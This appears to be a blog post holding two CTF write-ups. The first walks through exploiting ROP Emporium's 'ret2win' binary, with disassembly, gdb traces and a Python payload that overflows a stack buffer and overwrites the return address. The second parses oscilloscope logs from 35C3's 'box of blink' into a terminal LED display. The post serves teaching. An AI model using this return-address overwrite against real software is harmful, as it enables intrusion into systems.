0000000000400810 C3 ret ; endp ; ================ B E G I N N I N G O F P R O C E D U R E ================ ret2win: 0000000000400811 55 push rbp ; End of unwind block (FDE at 0x400aec), Begin of unwind block (FDE at 0x400b0c) 0000000000400812 4889E5 mov rbp, rsp 0000000000400815 BFE0094000 mov edi, aThankYouHeresY ; argument "__format" for method j_printf, "Thank you! Here's your flag:" 000000000040081a B800000000 mov eax, 0x0 000000000040081f E8CCFDFFFF call j_printf ; printf 0000000000400824 BFFD094000 mov edi, aBincatFlagtxt ; argument "__command" for method j_system, "/bin/cat flag.txt" 0000000000400829 E8B2FDFFFF call j_system ; system 000000000040082e 90 nop 000000000040082f 5D pop rbp 0000000000400830 C3 ret ; endp 0000000000400831 align 64 ; End of unwind block (FDE at 0x400b0c)
In the pwnme function there is a 0x20 byte stack buffer set by memset.
and 0x32 bytes written to it by fgets.
Lets run it in gdb and feed it some bytes and see what happens.
─── Output/messages ───────────────────────────────────────────────────────── ret2win by ROP Emporium 64bits For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer; What could possibly go wrong? You there madam, may I have your input please? And don't worry about null bytes, we're using fgets! > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC Program received signal SIGSEGV, Segmentation fault. ─── Assembly ──────────────────────────────────────────────────────────────── 0x0000000000400809 pwnme+84 call 0x400620 <fgets@plt> 0x000000000040080e pwnme+89 nop 0x000000000040080f pwnme+90 leave 0x0000000000400810 pwnme+91 ret ─── Expressions ───────────────────────────────────────────────────────────── ─── History ───────────────────────────────────────────────────────────────── ─── Memory ────────────────────────────────────────────────────────────────── ─── Registers ─────────────────────────────────────────────────────────────── rax 0x00007fffffffde90 rbx 0x0000000000000000 rcx 0x00000000fbad2288 rdx 0x00007fffffffde90 rsi 0x00007ffff7f9d8d0 rdi 0x00007fffffffde91 rbp 0x4242424242424242 rsp 0x00007fffffffdeb8 r8 0x0000000000602291 r9 0x00007ffff7f9d8c0 r10 0x00007ffff7fa2500 r11 0x0000000000000246 r12 0x0000000000400650 r13 0x00007fffffffdfa0 r14 0x0000000000000000 r15 0x0000000000000000 rip 0x0000000000400810 eflags [ PF ZF IF RF ] cs 0x00000033 ss 0x0000002b ds 0x00000000 es 0x00000000 fs 0x00000000 gs 0x00000000 ─── Source ────────────────────────────────────────────────────────────────── ─── Stack ─────────────────────────────────────────────────────────────────── [0] from 0x0000000000400810 in pwnme+91 (no arguments) [1] from 0x4343434343434343 (no arguments) [+] ─── Threads ───────────────────────────────────────────────────────────────── [1] id 18823 name ret2win from 0x0000000000400810 in pwnme+91 ───────────────────────────────────────────────────────────────────────────── 0x0000000000400810 in pwnme () >>>
i send the string ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC’
as user input. and the program stopped with a segfault.
The B’s are in the rbp register.
and the C’s are on the stack
lets set a breakpoint at 0x400810 and have a look at the registers and the stack in when we don’t overflow the stack buffer.
rax 0x00007fffffffde90 rbx 0x0000000000000000 rcx 0x00000000fbad2288
rdx 0x00007fffffffde90 rsi 0x00007ffff7f9d8d0 rdi 0x00007fffffffde91
rbp 0x00007fffffffdec0 rsp 0x00007fffffffdeb8 r8 0x000000000060226b
r9 0x00007ffff7f9d8c0 r10 0x00007ffff7fa2500 r11 0x0000000000000246
r12 0x0000000000400650 r13 0x00007fffffffdfa0 r14 0x0000000000000000
r15 0x0000000000000000 rip 0x0000000000400810 eflags [ PF ZF IF ]
cs 0x00000033 ss 0x0000002b ds 0x00000000
es 0x00000000 fs 0x00000000 gs 0x00000000
─── Source ──────────────────────────────────────────────────────────────────
─── Stack ───────────────────────────────────────────────────────────────────
[0] from 0x0000000000400810 in pwnme+91
(no arguments)
[1] from 0x00000000004007a4 in main+94
(no arguments)
As you can see the value on the stack is the address right after were the function ‘pwnme’ is called from.
If we would now replace the C’s in ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC’ with a valid executable address the program will return there instead of producing a segfault.
making a payload
Lets construct a little payload.
The buffer I need to fill is 40 bytes (32 + 8 bytes that will end up in rpb)
and the address I want to return to is 0x400811
The address needs to be written down in een Little endian format and padded with 0x00 to the length of 8 bytes.
python -c "print 'A'*40+'\x11\x08\x40\x00\x00\x00\x00\x00'"
I could just pipe python’s output to ret2win’s input in a shell. but then I wouldn’t be able to see what’s happening.
So instead I do this from within GDB.
r <<< $(python -c "print 'A'*40+'\x11\x08\x40\x00\x00\x00\x00\x00'")
It stops at the breakpoint I’ve had set before and I can see the address is were I want it to be.
─── Stack ───────────────────────────────────────────────────────────────────
[0] from 0x0000000000400810 in pwnme+91
(no arguments)
[1] from 0x000000000a400811
(no arguments)
Now I continue the execution of the program.
Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!}
Program received signal SIGSEGV, Segmentation fault.
I get an other segfault because the ‘ret2win’ function can’t return. But I don’t care about that, because I already have what I want.
so what about the ‘chain’?
This Challenge wasn’t really solved with a ROPchain since there was no chain.
But i explained the basics of ROP, I guess I’ll need to write a part2
Terminal led matrix emulator.
35C3CTF – box of blink
provided is a 400MB .csv file and a photo of an oscilloscope with logic inputs connected on to data bus between a raspberry pi and 2 chained led matrix boards.
Recon
after quick examination i realized the csv file was a log of the measurements from the oscilloscope.
the beginning of the file looked like this.
Model,MDO3014
Firmware Version,1.26
#
Waveform Type,DIGITAL,,,,,,,,,,,,,
Point Format,Y,,,,,,,,,,,,,
Horizontal Units,s,,,,,,,,,,,,,
Horizontal Scale,0.004,,,,,,,,,,,,,
,,,,,,,,,,,,,,
Sample Interval,4e-09,,,,,,,,,,,,,
Record Length,1e+07,,,,,,,,,,,,,
Gating,0.0% to 100.0%,,,,,,,,,,,,,
,,,,,,,,,,,,,,
Vertical Units,V,V,V,V,V,V,V,V,V,V,V,V,V,V
Threshold Used,1.65,1.65,1.65,1.65,1.65,1.65,1.65,1.65,1.65,1.65,1.65,1.65,1.65,1.65
,,,,,,,,,,,,,,
,,,,,,,,,,,,,,
,,,,,,,,,,,,,,
,,,,,,,,,,,,,,
,,,,,,,,,,,,,,
Label,OE,LAT,CLK,E,D,C,B,A,B2,B1,G2,G1,R2,R1
TIME,D13,D12,D11,D10,D9,D8,D7,D6,D5,D4,D3,D2,D1,D0
-1.0000000e-03,0,0,0,0,1,0,0,0,0,0,0,1,0,1
and continued with 400MB worth of lines like
-1.0000000e-03,0,0,0,0,1,0,0,0,0,0,0,1,0,1
I’ve worked a lot with digital oscilloscopes in the past so no need to look up any Information on this, since it’s still in my head.
but the only led matrix I’ve ever worked with was a home build one made from some cheap xmas-lights and a IR-strobe light for a industrial sheet metal inspection line.
After some googeling i found a nice tutorial on how to connect a led matrix to a arduino. with some explanation on what each pin is used for. https://learn.adafruit.com/32×16-32×32-rgb-led-matrix/connecting-with-jumper-wires
and since the labels are in the header of the blink.csv file are the same as the pin names. i can conclude that this it the same type of data bus.
so we have the following signal: output enable bit - - to enable output. latch bit - - to indicate end of data clock puls - - to tell the board to read new data from the bus A,B,C,D,E - - to select what line(s) to send the output to. R1,G1,B1 - - color data for the firs row. R2,G2,B2 - - color data for the second row. /------- OUTPUT ENABLE (TURNS ALL LEDS OFF OR ON) / /------LATCH (INDICATED END OF DATASTREAM) / / /-- CLOCK PULSE | | / [ select rows ][ blues][greens][reds ] Label, | OE |LAT|CLK|E |D |C |B |A |B2 |B1 |G2 |G1 |R2 |R1 | -1.0000000e-03 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 |
The board ‘writes’ the color data from left to right to the selected line, latch resets the write Postion to the beginning of the line.
There are 2 lines writen at the same time its a 5bit adress so that means the first line is some were between 0 and 32 and the second is the same as the first+33
looking at the photo of the matrix broad that seemed to be right.
Now i know what im looking at, i just need to find a way to reproduce what was displayed on the matrix board.
cleaning up file.
There were a lot of dupplicate measurements because the sample rate of the oscilloscope was much higher than the bus speed.
So i decided to write a script cleaning out duplicate measurements to reduce file size. while i was doing this i was brain stroming on how to parse the data and display it.
Solution
I decided it would be fun to output it in a terminal screen. write block Charterers and display and use v100 esacpe codes for color.
This is the code i came up with to pars the oscilloscope log file.
#!/usr/bin/python # -*- coding: utf-8 -*- '''''''''''''''''''''''''''''''' ' ' ' ''''''''''''''''''''''''''''''''''''''''' ▄▄▄▄ ▄▄▄ █ █░ ██▓ ██████ ▓█████ ▄████▄ ▓█████▄ ▒████▄ ▓█░ █ ░█░▓██▒ ▒██ ▒ ▓█ ▀ ▒██▀ ▀█ ▒██▒ ▄██▒██ ▀█▄ ▒█░ █ ░█ ▒██░ ░ ▓██▄ ▒███ ▒▓█ ▄ ▒██░█▀ ░██▄▄▄▄██ ░█░ █ ░█ ▒██░ ▒ ██▒▒▓█ ▄ ▒▓▓▄ ▄██▒ ░▓█ ▀█▓ ▓█ ▓██▒░░██▒██▓ ░██████▒▒██████▒▒░▒████▒▒ ▓███▀ ░ ░▒▓███▀▒ ▒▒ ▓▒█░░ ▓░▒ ▒ ░ ▒░▓ ░▒ ▒▓▒ ▒ ░░░ ▒░ ░░ ░▒ ▒ ░ ▒░▒ ░ ▒ ▒▒ ░ ▒ ░ ░ ░ ░ ▒ ░░ ░▒ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░░ ░ ░ ░ -=Bawling since 2017=- ▒░ ▒ ░ ▒░ By: M42D ░ ░ CTF: 35c3ctf challege: box of blink ░ ░ ░ date: 27-12-2018 usage : cat blink.csv | ./blink.py notes : for best cinematic experiance adjust your termial window to display a resolution of 265x64 charcters it's a damm shame the output wasn't more animated and colorfull. '''''''''''''''''''''''''''''''' ' ' ' ''''''''''''''''''''''''''''''''''''''''' B,A,W,L='',' ',' ',open(__file__).readlines() for S in range(3,30): B+=L[S] if S>7 and S<13: A=L[S]+A W+=L[S] print '\033[94m'+B+'\033[0m' PB='\033[94m'+A+W+'\033[0m' print " sit back 'n enjoy" print " "*40+"-xXx- M42D" print PB from time import sleep sleep(5) #------------------------------------------------------------------------------- # END OF HEADER #------------------------------------------------------------------------------- file_out = 'catme.txt' f = open(file_out, "w") last_clk = '1' last_oe = '1' last_lat = '1' i=0 #string in counter o=0 #string out counter x=5 #knowing me x is probebly y while 1: try: input = raw_input() except: f.close() print 'done..' print 'results saved to catme.txt' break #input skip the whole header section of the file i +=1 if i > 24: if input == '' or input[0] == '#': continue tt = input.split(',') ''' 0 = TIMESTAMP 1 = OUTPUT ENABLE --- i guess to select matrix board 1 or 2 2 = LATCH but we can ignore this 3 = CLOCK 4 = E MSB --\ 5 = D \ 6 = C >-- ROW ADDRESS 7 = B / 8 = A LSB --/ 9 = B2 ---\ 10 = B1 \ 11 = G2 \____RGB COLORS 12 = G1 / B1,G1,R1 = top half of matrix 13 = R2 / B2,G2,R2 = bottom half of matrix 14 = R1 ---/ ''' if tt[3] != last_clk : last_clk = tt[3] last_lat = tt[2] last_oe = tt[1] adr_1 = int(''.join(tt[4:9]),2) adr_2 = adr_1+32 ''' ive used ansi-vt100 escape sequences to move cursor and change color. for a nice overview check: http://www.termsys.demon.co.uk/vtansi.htm ''' color1 = (int(tt[10])*4)+(int(tt[12])*2)+(int(tt[14])*1) color2 = (int(tt[9])*4)+(int(tt[11])*2)+(int(tt[13])*1) line1 = "\033["+str(adr_1)+";"+str(x)+"H" #place cursor top half line1 +='\x1b[6;3'+str(color1)+';40m'+'█' #print a colored block line2 = "\033["+str(adr_2)+";"+str(x)+"H" #place cursor bottom half line2 +='\x1b[6;3'+str(color2)+';40m'+'█' #print a colored block print line1+line2 f.write(line1+line2) # i know this slows it al down for now # but we can just cat the output later on # and hopefully see a nice animation in an # resonable frame rate. x +=1 if tt[2] == "1": #end of line x= 5